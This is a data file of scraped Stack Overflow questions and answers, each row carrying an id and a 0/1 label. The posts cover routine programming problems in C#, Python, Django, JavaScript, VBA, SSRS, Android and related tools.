4976101	0	 <p>Maybe you're looking for <a href="http://msdn.microsoft.com/en-us/library/system.net.mail.smtpclient.aspx" rel="nofollow"><code>SmtpClient</code></a>?</p>
7714571	0	 <p>Make sure to #define GLEW_STATIC in the project before including GLEW in Windows. Then you can just include the entire source code in your project files. Otherwise, you need to have the proper GLEW DLL file in with your executable.</p>
12579508	0	 <p>The problem was solved by making another emulator targeting another platform version. I was working on Android 4 with Google APIs. I made another emulator 2.3 API 10 with Google API.</p> <p>Thanks for people suggestions here for trying another emulator or restarting it.</p>
970808	0	 <p>Had a OnMouseDown event handler that was put in to make it so when you right clicked on a row that row would be selected. At some point this was changed to not just handle right clicks but any click. Apparently, selecting the row interfered with the check box being edited. </p> <p>Fix was to change it to only be on right click.</p>
23290313	0	Getting the average of not null fields <p>I'm using Crystal reports in my application </p> <pre><code>average({ConsultationDetail.viandenord} ) </code></pre> <p>I need to get the avearge of not null field <code>viandenord</code> </p> <ol> <li>How can i change the formula to get this result?</li> <li>What is the best way to do that?</li> </ol>
2015277	0	extend Application.cfc, but not from the root <p>I have:</p> <pre><code>1. inetpub/wwwroot/ProjectName/Application.cfc 2. inetpub/wwwroot/ProjectName/Admin/Application.cfc </code></pre> <p>I want #2 to extend #1 and override the onRequest function. I've looked into Sean Corfields's ApplicationProxy.cfc solution, but that is if your project is in the root folder, which mine isn't.</p>
22297066	0	 <p>You have to remove the line <code>editable: true,</code></p> <p>Here is a working example. use this <code>script tag</code>.</p> <pre><code>&lt;script&gt; $(document).ready(function() { var date = new Date(); var d = date.getDate(); var m = date.getMonth(); var y = date.getFullYear(); var Xmas95 = new Date("25 Dec, 1995 23:15:00"); alert('vidda : '+ Xmas95); $('#calendar').fullCalendar({ header: { left: 'prev,next today', center: 'title', right: 'month,agendaWeek,agendaDay' }, //editable: true, events: [ { title: 'All Day Event', start: '20140210' }, { title: 'Long Event', start: new Date(y, m, d-5), end: new Date(y, m, d-2) } ], dayClick: function(date, allDay, jsEvent, view) { alert('Clicked on the entire day: ' + date); console.log(date); } }); }); &lt;/script&gt; </code></pre> <p>this should work fine. The dragging facility will cut off by removing <code>editable:true</code> and <strong>dayClick</strong> can be achieved by the relevant code. </p>
28846159	0	 <p>I have identified a workaround. </p> <p>I'm using a tuple for the constraint and handling it myself in the didApplyConstraints handler. </p> <p>The format for the custom constraint assumes that the range begins at the first value and travels <em>counter clockwise</em> until the second value. It makes no allowances for constraint values above PI or below -PI. This solution also doesn't deal with total ranges greater than 2*PI. </p> <p>Ranges that do not cross the +/- PI boundary are "normal" and can be handled normally.</p> <p>Ranges that DO cross the +/- PI boundary are "goofy" and must be handled as a special case (if possible). </p> <p>A solution to the special case seems impossible unless you are tracking angular velocity with an SKPhysicsBody (or manually). This value is required to identify which boundary the node likely "crossed" and should thus be constrained to.</p> <pre><code>// constraint = (CGFloat(M_PI/2), -CGFloat(M_PI/2)) override func didApplyConstraints() { var r = rotationSprite.zRotation if constraint.0 &lt; constraint.1 { // regular constraint, easy to handle. rotationSprite.zRotation = min(max(r, constraint.0),constraint.1) } else // "goofy" constraint that crosses PI boundary { if r &lt; constraint.0 &amp;&amp; r &gt; constraint.1 { if rotationSprite.physicsBody?.angularVelocity &lt; 0 { // clockwise, crossed first value (so long as absolute angular vel is &lt; 2PI rotationSprite.zRotation = constraint.0 } else if rotationSprite.physicsBody?.angularVelocity &gt; 0 // counter clockwise, crossed second value (so long as absolute angular vel is &lt; 2PI { rotationSprite.zRotation = constraint.1 } else { // If 0 velocity (or no velocity), no way to find out which boundary was crossed. rotationSprite.zRotation = constraint.0 // Probably better to default to closest angle } rotationSprite.physicsBody?.angularVelocity = 0 // Alternately, multiply by a negative restitution factor. } } } </code></pre>
30287433	0	 <p>Don't use Flask's development server in production. Use a proper WSGI server that can handle concurrent requests, like <a href="http://gunicorn.org/" rel="nofollow" title="Gunicorn">Gunicorn</a>. For now try turning on the server's threaded mode and see if it works.</p> <pre><code>app.run(host="x.x.x.x", port=1234, threaded=True) </code></pre>
19281511	0	 <pre><code>toProvider(new TypeLiteral&lt;FooProvider&lt;Bar&gt;&gt;() { }); </code></pre>
40198180	0	How to the change color of links to specific file extensions with a userscript? <p>My school website has homework download links and I want to distinguish them by coloring them different colors.<br> EG: Microsoft Word files would be blue and .RTF files would be green.<br> Since I'm new to this none of my scripts are working. </p> <p>My script:</p> <pre><code>// ==UserScript== // @name Homework Help // @namespace http://tampermonkey.net/ // @version 0.1 // @description Color links for different file extensions // @author You // @match (My School Website) // @grant none // ==/UserScript== function getFileExtension(filename) { return filename.split('.').pop(); } (function() { 'use strict'; // Your code here... var links = document.getElementByTagName("a"); var element; for (var i = 0; i &lt; links.lenth(); i++){ element = rtfs[i]; if( getFileExtension(element.href) == "rtf" ){ element.style.color = "green"; } } })(); </code></pre> <p>I tried googling it but found no solution.</p>
9439569	0	 <p>Well, maybe... but most probably not.</p> <p>But if it does, it's not "because both are UNIX" it's because:</p> <ul> <li>Mac computers happen to use the same processor nowadays (this was very different in the past)</li> <li>You happen to use a program that has no dependency on any library at all (very unlikely)</li> <li>You happen to use the same runtime libraries </li> <li>You happen to use a loader/binary format that is compatible with both.</li> </ul>
2774789	0	PDF generated with jasperreport not showing well on Linux but yes on Mac, could the os be related? <p>A PDF I generate with jasper reports renders Ok in my MAC but some labels show wrong on Linux. For example, I have a static label that doesn't show completely on linux (only a part of the whole word) but yes on Mac. Can the OS be somehow related? What is the usual source of this kind of problems? </p>
22567320	0	Django edit user profile <p>I'm trying to create an "Edit Profile" form in the fronted. What happens is that my form(i'm not 100% sure) tries to create a user instead of finding the current user and update his profile. So I think that's the issue. Checked many questions here but none was clear enough. The fields I'm trying to edit are email, first name and last name. (Also I would like to add uda</p> <p>forms.py</p> <pre><code>class UpdateProfile(forms.ModelForm): username = forms.CharField(required=True) email = forms.EmailField(required=True) first_name = forms.CharField(required=False) last_name = forms.CharField(required=False) class Meta: model = User fields = ('username', 'email', 'first_name', 'last_name') def clean_email(self): username = self.cleaned_data.get('username') email = self.cleaned_data.get('email') if email and User.objects.filter(email=email).exclude(username=username).count(): raise forms.ValidationError('This email address is already in use. Please supply a different email address.') return email def save(self, commit=True): user = super(RegistrationForm, self).save(commit=False) user.email = self.cleaned_data['email'] if commit: user.save() return user </code></pre> <p>views.py</p> <pre><code>def update_profile(request): args = {} if request.method == 'POST': form = UpdateProfile(request.POST) form.actual_user = request.user if form.is_valid(): form.save() return HttpResponseRedirect(reverse('update_profile_success')) else: form = UpdateProfile() args['form'] = form return render(request, 'registration/update_profile.html', args) </code></pre>
36565567	0	Excel VBA activate objects if checkbox ticked <p>I have got a piece of code that works which changes a input field from disabled to enabled and changes the colour from gray to white if the corresponsding checkbox is ticked.</p> <p>Is there a way to loop this or call it for all checkboxes &amp; input fields without having a seperate piece of code for each pair?</p> <p>The code I have is:</p> <pre><code>Private Sub CheckBox1_Click() If CheckBox1.Value = True Then tb01.Enabled = True tb01.BackColor = vbWhite Else: tb01.Enabled = False tb01.BackColor = vb3DLight End If End Sub Private Sub CheckBox2_Click() If CheckBox2.Value = True Then tb02.Enabled = True tb02.BackColor = vbWhite Else: tb02.Enabled = False tb02.BackColor = vb3DLight End If End Sub </code></pre> <p>edit: This code is in a UserForm</p>
4476564	0	 <p>First, you are checking if the object instance is in the collection, but you are only creating one instance once (outside the while loop). Therefore, when you check if <code>!myPartyGroupList.Contains(partyGroup)</code>, it will return false the first time, so you will add the obj to the collection and then it will return false every time.</p> <p>I would use a Dictionary using an Id property as the Dictionary key.</p> <p>like this:</p> <pre><code>Dictionary &lt;int,PartyGroup&gt; myPartyGroupList = new Dictionary &lt;int,PartyGroup&gt;(); using (AseDataReader reader = command.ExecuteReader()) { while (reader.Read()) { int id=Convert.ToInt32(reader["party_group_id"]); if (!myPartyGroupList.ContainsKey( id )) { PartyGroup partyGroup = new PartyGroup(); partyGroup.PartyGroupID = id; partyGroup.PartyGroupName = reader["party_group_name"].ToString(); partyGroup.PersonList = myPersonList; myPartyGroupList.Add(id, partyGroup); // key, value? check param order here } } } </code></pre>
35699252	0	 <p>You might as well disable it from being clicked and it does not listen to action anymore</p>
11126825	0	Metro App reading HTML formatted string <p>I have a metro app and want to bind a <code>&lt;TextBlock&gt;</code> element to a string which contains some HTML formatting elements. I seem to remember there being a converter for this kind of thing pre-WinRT, but I can't find any reference to this in the WinRT namespace.</p> <p>Here's an example of the string:</p> <pre><code>This is&lt;br&gt;a string with some formatting&lt;br&gt;elements&lt;img src="http://image-url"&gt; </code></pre> <p>At the minute I'm just binding this to a TextBlock and getting a poorly formatted piece of markup. Without writing a mini-converter myself, is there a way to deal with this for WinRT?</p>
36516637	0	 <p>It is a very clear algorithm and seems you got it right. So for changing the way of accessing the characters, why didn't you use the <code>String#charAt</code> method?</p> <p>Also you may want to change the return type of the method from String <code>"YES"</code> or <code>"NO"</code> to <code>true</code> or <code>false</code> of type <code>boolean</code>:</p> <pre><code>static boolean isValidBracketString(String string) { Stack&lt;Character&gt; stack = new Stack&lt;&gt;(); for(int i=0; i&lt; string.length(); i++){ if(string.charAt(i) == '{' || string.charAt(i) == '[' || string.charAt(i) == '('){ stack.push(string.charAt(i)); } else if(string.charAt(i) == '}' || string.charAt(i) == '}' || string.charAt(i) == ')') { if(stack.size() == 0) return false; switch(stack.pop()){ case '(': if(string.charAt(i) != ')') return false; break; case '[': if(string.charAt(i) != ']') return false; break; case '{': if(string.charAt(i) != '}') return false; break; } } } return stack.size() == 0; } </code></pre>
24963927	0	Gnuplot:Same Loop for input and output file <p>I would like to do the following thing</p> <p>set output 'error0.tex'<br> plot 'error0.dat' using 1:2 title 'Error x', \<br> error0.dat' using 1:3 title 'Error y'<br> ...<br> ...<br> set output 'error10.tex'<br> plot 'error10.dat' using 1:2 title 'Error x', \<br> error10.dat' using 1:3 title 'Error y' </p> <p>Is there any simple way to get this?</p> <p>So i get 10 different files with 2 graphs in it.</p>
30738999	0	 <p>If you are creating a class that extends an Adapter, you can use parent variable to obtain the context.</p> <pre><code>public class MyAdapter extends ArrayAdapter&lt;String&gt; { private Context context; @Override public View getView(int position, View convertView, ViewGroup parent) { context = parent.getContext(); context.getResources().getColor(R.color.red); return convertView; } } </code></pre> <p>You can do the same with RecyclerView.Adapter, but instead of getview() you will use onCreateViewHolder().</p>
39067891	0	Attempt to invoke virtual method 'java.lang.String com.activeandroid.TableInfo.getIdName()' on a null object reference <p>i am getting this Error </p> <pre><code>java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String com.activeandroid.TableInfo.getIdName()' on a null object reference </code></pre> <p>when i disable <strong>Instant Run</strong> i did not get any error my project works fine.</p> <p>But i want to keep <strong>instant Run</strong> <strong>Enabled</strong>. I find some where that if i want to <strong>enabled Instant Run</strong> i have to un-check the </p> <blockquote> <p>ReStart the Activity on code changes</p> </blockquote> <p>but this did not work for me.</p> <p>Any solution for this is highly appreciated.</p>
10185458	0	Finding Bitrate of video file <p>How can we find bitrate of a video file in c++? Can we do this by file handling?</p> <p>Thanks</p>
5511715	1	Python - Understanding error: IndexError: list index out of range <p>I'm fairly new to python. I have an error that I need to understand.</p> <p>The code:</p> <p>config.py:</p> <pre><code># Vou definir os feeds feeds_updates = [{"feedurl": "http://aaa1.com/rss/punch.rss", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa2.com/rss.xml", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa3.com/Heaven", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa4.com/feed.php", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa5.com/index.php?format=feed&amp;type=rss", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa6.com/rss.xml", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa7.com/?format=xml", "linktoourpage": "http://www.ha.com/fun.htm"}, {"feedurl": "http://aaa8/site/component/rsssyndicator/?feed_id=1", "linktoourpage": "http://www.ha.com/fun.htm"}] </code></pre> <p>twitterC.py</p> <pre><code># -*- coding: utf-8 -*- import config # Ficheiro de configuracao import twitter import random import sqlite3 import time import bitly_api #https://github.com/bitly/bitly-api-python import feedparser ... # Vou escolher um feed ao acaso feed_a_enviar = random.choice(config.feeds_updates) # Vou apanhar o conteudo do feed d = feedparser.parse(feed_a_enviar["feedurl"]) # Vou definir quantos feeds quero ter no i i = range(8) print i # Vou meter para "updates" 10 entradas do feed updates = [] for i in range(8): updates.append([{"url": feed_a_enviar["linktoourpage"], "msg": d.entries[i].title + ", "}]) # Vou escolher ums entrada ao acaso print updates # p debug so update_to_send = random.choice(updates) print update_to_send # Para efeitos de debug </code></pre> <p>And the error that appears sometimes because of the nature of the random:</p> <pre><code>Traceback (most recent call last): File "C:\Users\anlopes\workspace\redes_sociais\src\twitterC.py", line 77, in &lt;module&gt; updates.append([{"url": feed_a_enviar["linktoourpage"], "msg": d.entries[i].title + ", "}]) IndexError: list index out of range </code></pre> <p>I'am not getting to the error, the list "feeds_updates" is a list with 8 elements, I think is well declareted and the RANDOM will choose one out of the 8...</p> <p>Can someone give me a clue on what is happenning here?</p> <p>PS: Sorry for my bad english.</p> <p>Best Regards,</p>
9897440	0	 <p>As suggested, I have tried this and the fork is private</p>
37353452	0	 <p>I'd like to help, but I'm not quite sure I understand your question. Given the information you have here, that code should work. The only unknown is the actual datatype of the value of the combo, but unless the <code>.Field(Of T)</code> is throwing an InvalidCastException, you should be good there. I wrote the following code and threw it into a unit test project, and everything came out good . . . at least with regard to the length of the resulting set of data.</p> <h2>Code</h2> <pre><code>&lt;TestCase(0, ExpectedResult:=4)&gt; &lt;TestCase(1, ExpectedResult:=4)&gt; &lt;TestCase(2, ExpectedResult:=3)&gt; &lt;TestCase(3, ExpectedResult:=2)&gt; &lt;TestCase(4, ExpectedResult:=1)&gt; &lt;TestCase(5, ExpectedResult:=0)&gt; Public Function tmptest(ByVal selected As Integer) As Integer Dim d As New DataTable d.Columns.Add(New DataColumn("id", GetType(Integer))) For j = 0 To 5 Dim r = d.NewRow() r("id") = j d.Rows.Add(r) Next If selected = 0 Then selected = 1 Dim query = From status In d.AsEnumerable() Where status.Field(Of Integer)("id") &gt; selected Select status Return query.Count End Function </code></pre> <h2>Results</h2> <p><a href="https://i.stack.imgur.com/alHkE.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/alHkE.jpg" alt="Test Results"></a></p>
29533891	0	google-apps-script multiple criteria writing over headers <p>I have taken a bit of script from Serge which is great (original <a href="http://stackoverflow.com/questions/25038715/google-apps-script-copy-row-from-table-if-value-in-table-meets-condition">link here</a>. I have added in a second criteria to exclude certain rows and it works great except, if there is not header in the sheet being copied to, it will not work (error: "The coordinates or dimensions of the range are invalid.") and if I enter a header or some other data, it overwrites it. Can anyone assist please? I have also found that is there is no match to the criteria I get following message "TypeError: Cannot read property "length" from undefined."</p> <p>Also, what change would I need to make to change the cell 'dataSheetLog[i][12]' to the status variable, i.e. "COPIED" after I have copied it across. I have tried writing a setValue line but it is obviously the wrong instruction for that syntax.</p> <p>Code is:</p> <pre><code> { var Spreadsheet = SpreadsheetApp.getActiveSpreadsheet(); var sheetLog = Spreadsheet.getSheetByName("LOG"); var sheetMaint = Spreadsheet.getSheetByName("MAINTENANCE"); var Alast = sheetLog.getLastRow(); var criteria = "08 - Maintenance" var status = "COPIED" var dataSheetLog = sheetLog.getRange(2,1,Alast,sheetLog.getLastColumn()).getValues(); var outData = []; for (var i in dataSheetLog) { if (dataSheetLog[i][2]==criteria &amp;&amp; dataSheetLog[i][12]!=status){ outData.push(dataSheetLog[i]); } } sheetMaint.getRange(sheetMaint.getLastRow(),1,outData.length,outData[0].length).setValues(outData); } </code></pre>
20022466	0	 <p>You need to initialise the <code>dwSize</code> member of <code>CONSOLE_CURSOR_INFO</code>:</p> <pre><code>CONSOLE_CURSOR_INFO CURSOR; CURSOR.dwSize = 1; CURSOR.bVisible = FALSE; </code></pre> <p>From the docs for <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms686019%28v=vs.85%29.aspx" rel="nofollow">SetConsoleCursorInfo</a>:</p> <blockquote> <p>The dwSize member of the CONSOLE_CURSOR_INFO structure specifies the percentage of a character cell that is filled by the cursor. If this member is less than 1 or greater than 100, SetConsoleCursorInfo fails.</p> </blockquote> <p>Note also from the same page</p> <blockquote> <p>Return value</p> <p>If the function succeeds, the return value is nonzero. <br>If the function fails, the return value is zero. To get extended error information, call GetLastError.</p> </blockquote> <p>Checking the return value would have helped you figure out what was going wrong.</p>
19006197	0	IIS NullReferenceException when deployed but not in Dev Server <p>I have developed an IIS Application using C# code behind ASPX pages with entity framework for database access. When I run it in the Visual Studio Development Server it works fine but if I either Publish it to IIS or run it on the Local IIS Web Server from Visual Studio (which is pretty much the same as Publishing I guess) I get</p> <pre><code>NullReferenceException: Object reference not set to an instance of an object.] System.Web.Hosting.RecyclableCharBuffer.Append(String s) +15 System.Web.Hosting.ISAPIWorkerRequest.SendUnknownResponseHeader(String name, String value) +93 System.Web.HttpResponse.WriteHeaders() +233 System.Web.HttpResponse.Flush(Boolean finalFlush) +219 System.Web.HttpRuntime.FinishRequest(HttpWorkerRequest wr, HttpContext context, Exception e) +127 </code></pre> <p>This Exception is thrown after my Home.aspx has finished it's Page Load. Some simple ASPX pages work ok. Setting a NullReferenceException break point just drops into disassembly.</p> <p>I am stuck for ideas about how to track this issue down. Any thoughts???</p>
465726	0	 <p>Here's a solution for php:</p> <pre><code>function make_uri($input, $max_length) { if (function_exists('iconv')) { $input = @iconv('UTF-8', 'ASCII//TRANSLIT', $input); } $lower = strtolower($input); $without_special = preg_replace_all('/[^a-z0-9 ]/', '', $input); $tokens = preg_split('/ +/', $without_special); $result = ''; for ($tokens as $token) { if (strlen($result.'-'.$token) &gt; $max_length+1) { break; } $result .= '-'.$token; } return substr($result, 1); } </code></pre> <p>usage:</p> <pre><code>echo make_uri('In C#: How do I add "Quotes" around string in a ...', 500); </code></pre> <p>Unless you need the uris to be typable, they don't need to be small. But you should specify a maximum so that the urls work well with proxies etc.</p>
16343319	0	 <p>Thank you! I have an embedded TextEdit in the last row of ListView embedded in the alert dialog fragment. I used your solution of clearing the flags as a post runnable and now it works perfectly.</p> <pre><code> @Override public Dialog onCreateDialog(Bundle savedInstanceState) { AlertDialog.Builder builder = new AlertDialog.Builder(getContext()); builder.setTitle("My Title"); m_adapter = new MyAdapter(getContext()); builder.setAdapter(m_adapter, new OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { // TODO Auto-generated method stub } }); final AlertDialog dialog = builder.create(); final ListView listView = dialog.getListView(); listView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { } }); listView.post(new Runnable() { @Override public void run() { dialog.getWindow().clearFlags( WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM); } }); return dialog; } </code></pre>
3860789	0	 <p>How about watching for if/when the <code>/usr/sbin/spindump</code> process starts up?</p>
11861168	0	 <p><code>extern</code> declares a variable, but does not define it. It basically tells the compiler there is a definition for <code>x</code> somewhere else. To fix add the following to <code>header.c</code> (or some other <code>.c</code> file but <em>only</em> one <code>.c</code> file):</p> <pre><code>int x; </code></pre> <p>Note that in <code>main()</code> the local variable <code>x</code> will hide the global variable <code>x</code>.</p>
21319479	0	 <p>I did something like this years ago in VB6. Copied below is the code. As you can see, the code just steps through the HTML character-by-character and removes everything between (and including) the &lt; and > tags. Hopefully you can do something similar in whatever tool you are using.</p> <pre><code>Function CleanTags(HTML As String) As String Dim result As String, b As Boolean, c As String, i As Long b = False For i = 1 To Len(HTML) c = Mid(HTML, i, 1) If c = "&lt;" Then b = True If b = False Then result = result &amp; c If c = "&gt;" Then b = False Next i CleanTags = result End Function </code></pre>
32928102	0	 <ol> <li><p>This is <code>C</code> not <code>C++</code> (eventhough C++ brings enough <code>C</code> compatibility to make that code valid using a conforming C++ compiler with <code>#include &lt;stdio.h&gt;</code>).</p></li> <li><p>The specifier <code>%c</code> is for characters. You're reading and writing <code>int</code>. </p></li> </ol> <p>Thus, you should use <code>%i</code>.</p> <pre><code>int a; int b; printf("a"); scanf("%i", &amp;a); printf("b"); scanf("%i", &amp;b); a=a+b; printf("%i", a); </code></pre> <p>Output</p> <pre><code>a5 b7 12 </code></pre>
6165249	0	 <p>You have to loop, or use a library call.</p> <p>One option would be <code>memcpy(kk, k, sizeof(k));</code>. For this you must <code>#include &lt;string.h&gt;</code>.</p>
17955241	0	 <p>Because you are using strings rather than parameters, your example is vulnerable to SQL injection. It's best to avoid <code>pg_</code> functions. In your case there are two things you need to take into account:</p> <ul> <li>Learn the Drupal API (considering you are using Drupal this would be the best for code consistency</li> </ul> <p>or</p> <ul> <li>Use <a href="http://www.postgresql.org/docs/9.2/static/plpgsql.html">stored procedures</a></li> <li>Use a library like <a href="http://php.net/manual/en/ref.pdo-pgsql.php">PDO</a> or <a href="http://php.net/manual/en/function.pg-query-params.php">pg_query_params</a> which takes care of <a href="http://www.phpro.org/tutorials/Introduction-to-PHP-PDO.html#4.1">parameterized queries</a></li> </ul> <p>Normally you use stored procedures in addition to PDO, unfortunately sometimes this is not manageable because you have too much code. My advice is to use as much stored procedures as possible.</p>
20735476	0	Send a bean with html:link tag <p>I wanna send an object(bean) using the tag as follows:</p> <p>JSP:</p> <pre><code> &lt;logic:iterate id="demande" name="demandes"&gt; &lt;html:link page ="/show.do" paramId="demande" paramName="demande"&gt; &lt;bean:write name="demande" property="demandeId" /&gt;&lt;br&gt; &lt;/html:link&gt; &lt;/logic:iterate&gt; </code></pre> <p>What can I do to retrieve the bean (demande) in the controller side?</p>
36856137	0	where can Find sqlite databases in spip? <p>I would like to recover the SQLite database directories in the framework spip order after applying a script that will give me the equivalent mysql but I do not know the name of the file containing the data base sqlite Can you help me ?</p>
29290611	0	 <p><code>ans += s;</code> create a new string and assigns it back to <code>ans</code> so it could be the garbage collector.</p>
15043393	0	Unexplained heroku timeouts <p>I have a rails 3.2.11 app deployed on Heroku that has been fairly stable over time. In the last 24 hours, pingdom has been reporting Timeouts which I can't find any "H1X" related errors in the logs at the same time.</p> <p>I am occassionally able to reproduce the timeouts in google chrome. where I would get this message after about 30 seconds of requesting any page:</p> <p>Chrome browser error No data received Unable to load the webpage because the server sent no data. Here are some suggestions: Reload this webpage later. Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data.</p> <p>The app will then begin serving requests normally until it happens again. </p> <p>I know this is not enough info, but I can't find anything useful yet in newrelic or scanning the logs that correlates to when the error occured.</p> <p>In one instance, i was reproducing the error in the browser while viewing the heroku logs and when the timeout occurred, there was no evidence of the request showing up in the logs. Its like the failed requests never make it into the app.</p>
35587438	0	SSRS Render Multiple Pages from Report in C# <p>I have a service that renders a report from SSRS which works perfectly fine with one page, however when I tried to change the code to render multiple pages separately I can't seem to get it to work as expected.</p> <p>I used a guide on the MSDN blogs (<a href="http://blogs.msdn.com/b/bryanke/archive/2004/02/11/71491.aspx#code" rel="nofollow">http://blogs.msdn.com/b/bryanke/archive/2004/02/11/71491.aspx#code</a>) to try and achieve this, but my StreamIDs doesn't seem to be working as I expected.</p> <p>Here's my code from the Render() method onwards (the rest seems to be okay, but I can provide on request): </p> <pre class="lang-cs prettyprint-override"><code> var firstPage = rsExec.Render(format.ToString(), deviceInfo, out extension, out encoding, out mimeType, out warnings, out streamIDs); var numberOfPages = streamIDs.Length + 1; results = new Byte[numberOfPages][]; results[0] = firstPage; if (numberOfPages &gt; 1) { for (int i = 1; i &lt; numberOfPages; i++) { deviceInfo = $@" &lt;DeviceInfo&gt; &lt;OutputFormat&gt;JPEG&lt;/OutputFormat&gt; &lt;StartPage&gt;{i + 1}&lt;/StartPage&gt; &lt;/DeviceInfo&gt;"; results[i] = rsExec.Render(format.ToString(), deviceInfo, out extension, out encoding, out mimeType, out warnings, out streamIDs); } } </code></pre> <p>This generates the report okay, but I expected the streamIDs to become the number of extra pages required, but it always only has one entry in it. Am I doing something stupidly wrong here?</p> <p>I'm using SQL Server 2008 R2.</p>
26924153	0	MeasureString does not return exact width after rotation <p>I'm using <code>MeasureString</code> method to calculate the width of text but the returned value is not exact. I'm using the following code for calculating text width</p> <pre><code>Size sz = g.MeasureString(text, font); g.DrawString(text, font, brush, new Rectangle(0, 0, (int)sz.Width, (int)sz.Height), stringFormat); g.DrawRectangle(Pens.Red, new Rectangle(0, 0, (int)sz.Width, (int)sz.Height)); </code></pre> <p>This works fine without rotation. I'm using the following code to draw rotated text</p> <pre><code>g.RotateTransform(angle); Size sz = g.MeasureString(text, font); g.DrawString(text, font, brush, new Rectangle(0, 0, (int)sz.Width, (int)sz.Height), stringFormat); g.DrawRectangle(Pens.Red, new Rectangle(0, 0, (int)sz.Width, (int)sz.Height)); </code></pre> <p>The width value returned for second code snippet is different from first one and also it's not correct. See the following image</p> <p><img src="https://i.stack.imgur.com/ADUmJ.png" alt="Additional space"></p> <p>At the bottom of the rectangle there is some additional space after text. The rectangle was drawn based on the width and height of the string so I think this has something to do with <code>MeasureString</code> method. </p> <p>Please share your thoughts on avoiding this</p> <p>Edit:</p> <p>More space can be seen if text length is long (say 30 or more characters) .Rotation works fine for angles 0, 90, 180 and 270. Attached a screenshot</p> <p><img src="https://i.stack.imgur.com/ZNVcC.png" alt="At 90 degree"></p>
8849483	0	 <p>That is not allowed operation. If you removed channel and you want to add it again you mustn't create a new instance. You must use the old one and only change its state. The main rule is that each entity with unique key must be declared only once. Your code results in two instances with the same key = error. </p>
25674559	0	 <p>you could also add it directly in your page-template (this is called 'inline styling'):</p> <p>a couple of lines below your opening body tag you'll find </p> <pre><code>&lt;div&gt; &lt;a href="http://forum.banaisbul.com"&gt;&lt;img src="http://forum.banaisbul.com/wp-content/uploads/2014/09/banaisbulsiyah.jpg" border="0" alt="Link to this page"&gt;&lt;/a&gt; &lt;/div&gt; </code></pre> <p>and you need to change it to</p> <pre><code>&lt;div style="background-color:#404040"&gt; &lt;a href="http://forum.banaisbul.com"&gt;&lt;img src="http://forum.banaisbul.com/wp-content/uploads/2014/09/banaisbulsiyah.jpg" border="0" alt="Link to this page"&gt;&lt;/a&gt; &lt;/div&gt; </code></pre>
3488058	0	 <p>&lt;Edit> Although one object can access private properties of all objects of the same class, you cannot access protected methods of an object from other class even if the protected method is defined in a common super class.</p> <p>So while this code compiles:</p> <pre><code>public class Test { private int x; private void change(Test test) { test.x = test.x + 1; } public static void main() { Test test1 = new Test(); Test test2 = new Test(); test1.change(test2); } } </code></pre> <p>The following code will not compile:</p> <pre><code>public class Test2 { public static void main() { Test1 test1 = new Test1(); test1.clone(); // The method clone() from the type Object is not visible } } </code></pre> <p>&lt;/Edit></p> <p>Being able to call <code>toString()</code>, <code>equals(Object)</code>, <code>hashCode()</code> and <code>getClass() on all objects makes things a lot easier.</p> <p><code>clone()</code> and <code>finalize()</code> are protected. So in order to be able to call them from the outside the subclass has to increase the visibility. And that is obviously a design decision.</p> <p>To be honest, i have no idea why Sun decided that all object are "locks" and have <code>notify()</code>, <code>notifyAll()</code>, <code>wait(long)</code>, wait(long, int)</code>. From my point of view those method should not be in Object at all but in a specialized Lock-class. But I guess there was a good reason to have them there in the very early days and it cannot be changed nowadays without breaking compatibility.</p>
34849535	0	 <p>For these kind of errors, right click on the error word and say 'Resolve'. All the errors will be if defining assembly is referenced in your project.</p>
1708874	0	 <p>Use <code>numpy.hstack()</code>:</p> <pre><code>&gt;&gt;&gt; import numpy &gt;&gt;&gt; desc = {'names': ('gender','age','weight'), 'formats': ('S1', 'f4', 'f4')} &gt;&gt;&gt; a = numpy.array([('M',64.0,75.0),('F',25.0,60.0)], dtype=desc) &gt;&gt;&gt; numpy.hstack((a,a)) array([('M', 64.0, 75.0), ('F', 25.0, 60.0), ('M', 64.0, 75.0), ('F', 25.0, 60.0)], dtype=[('gender', '|S1'), ('age', '&lt;f4'), ('weight', '&lt;f4')]) </code></pre>
27521919	0	How to convert dropdown value to array jquery <p>this way i was trying to convert dropdown value to array by jquery but routine is not working.</p> <pre><code>&lt;select name="DropDownList1" id="DropDownList1"&gt; &lt;option value="00"&gt;00&lt;/option&gt; &lt;option value="05"&gt;05&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="15"&gt;15&lt;/option&gt; &lt;/select&gt; function cboValueToArray(targetid) { var $target = $("select[id*=" + targetid + "]"); var results = []; $($target).each(function () { var val = $(this).val(); if (val !== '') results.push(val); }); alert(results.toString()); return results; } alert(cboValueToArray('DropDownList1').toString()); </code></pre> <p>this line <code>$($target).each()</code> is causes problem. guide me how to fix this. thanks</p>
18372384	0	 <p>Hide the Prelude's <code>(!!)</code> operator and you can define your own <code>(!!)</code> operator:</p> <pre><code>import Prelude hiding ((!!)) (!!) :: MyType1 -&gt; MyType2 -&gt; MyType3 x !! i = ... -- Go wild! </code></pre> <p>You can even make a type class for your new <code>(!!)</code> operator if you prefer.</p>
6234021	0	Reflection and Private Native Methods <p>I am using reflection to dynamically call some methods from extended class. Unfortunately one of these methods is declared as private native and as soon as I make the call... I receive the following exception:</p> <pre><code>java.lang.IllegalAccessException: Class com.something.somewhere.MyThing ca n not access a member of class com.something.somewhere.AnotherThing with modifier s "private native" </code></pre> <p>Is there a way around this?</p>
